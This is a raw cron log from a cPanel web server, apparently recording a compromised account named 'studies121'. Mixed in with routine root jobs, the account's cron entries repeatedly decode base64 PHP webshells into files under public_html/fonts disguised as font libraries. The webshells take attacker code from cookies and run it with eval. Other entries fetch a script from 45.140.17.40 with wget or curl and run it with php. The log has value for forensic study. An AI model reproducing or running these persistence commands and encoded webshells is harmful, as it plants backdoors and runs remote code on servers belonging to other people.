Sep  1 18:53:01 ip-184-168-122-23 CROND[8993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:53:01 ip-184-168-122-23 CROND[8994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:54:01 ip-184-168-122-23 CROND[9071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:54:01 ip-184-168-122-23 CROND[9073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:54:01 ip-184-168-122-23 CROND[9074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:54:01 ip-184-168-122-23 CROND[9075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:54:01 ip-184-168-122-23 CROND[9076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:55:01 ip-184-168-122-23 CROND[9173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:55:01 ip-184-168-122-23 CROND[9175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:55:01 ip-184-168-122-23 CROND[9177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:55:01 ip-184-168-122-23 CROND[9178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:55:01 ip-184-168-122-23 CROND[9176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:55:01 ip-184-168-122-23 CROND[9179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:56:01 ip-184-168-122-23 CROND[9258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:56:01 ip-184-168-122-23 CROND[9262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:56:01 ip-184-168-122-23 CROND[9260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:56:01 ip-184-168-122-23 CROND[9261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:56:01 ip-184-168-122-23 CROND[9263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:57:01 ip-184-168-122-23 CROND[9347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:57:01 ip-184-168-122-23 CROND[9348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:57:01 ip-184-168-122-23 CROND[9352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:57:01 ip-184-168-122-23 CROND[9351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:58:01 ip-184-168-122-23 CROND[9534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:58:01 ip-184-168-122-23 CROND[9536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:58:01 ip-184-168-122-23 CROND[9537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:58:01 ip-184-168-122-23 CROND[9539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:58:01 ip-184-168-122-23 CROND[9538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:59:02 ip-184-168-122-23 CROND[9624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:59:02 ip-184-168-122-23 CROND[9628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:59:02 ip-184-168-122-23 CROND[9627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:59:02 ip-184-168-122-23 CROND[9626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:00:01 ip-184-168-122-23 CROND[9707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:00:01 ip-184-168-122-23 CROND[9711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:00:01 ip-184-168-122-23 CROND[9709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:00:01 ip-184-168-122-23 CROND[9714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:00:01 ip-184-168-122-23 CROND[9710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:00:01 ip-184-168-122-23 CROND[9713]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:00:01 ip-184-168-122-23 CROND[9708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:00:01 ip-184-168-122-23 CROND[9712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:01:01 ip-184-168-122-23 CROND[9808]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 19:01:01 ip-184-168-122-23 CROND[9811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:01:01 ip-184-168-122-23 CROND[9814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:01:01 ip-184-168-122-23 CROND[9815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:01:01 ip-184-168-122-23 CROND[9813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:01:01 ip-184-168-122-23 CROND[9816]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9808]: starting 0anacron
Sep  1 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9829]: finished 0anacron
Sep  1 19:02:01 ip-184-168-122-23 CROND[9944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:02:01 ip-184-168-122-23 CROND[9946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:02:01 ip-184-168-122-23 CROND[9947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:02:01 ip-184-168-122-23 CROND[9949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:02:01 ip-184-168-122-23 CROND[9948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:03:01 ip-184-168-122-23 CROND[10112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:03:01 ip-184-168-122-23 CROND[10114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:03:01 ip-184-168-122-23 CROND[10116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:03:01 ip-184-168-122-23 CROND[10115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:04:01 ip-184-168-122-23 CROND[10193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:04:01 ip-184-168-122-23 CROND[10192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:04:01 ip-184-168-122-23 CROND[10194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:04:01 ip-184-168-122-23 CROND[10195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:04:01 ip-184-168-122-23 CROND[10199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:05:01 ip-184-168-122-23 CROND[10283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:05:01 ip-184-168-122-23 CROND[10285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:05:01 ip-184-168-122-23 CROND[10286]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:05:01 ip-184-168-122-23 CROND[10287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:05:01 ip-184-168-122-23 CROND[10291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:05:01 ip-184-168-122-23 CROND[10288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
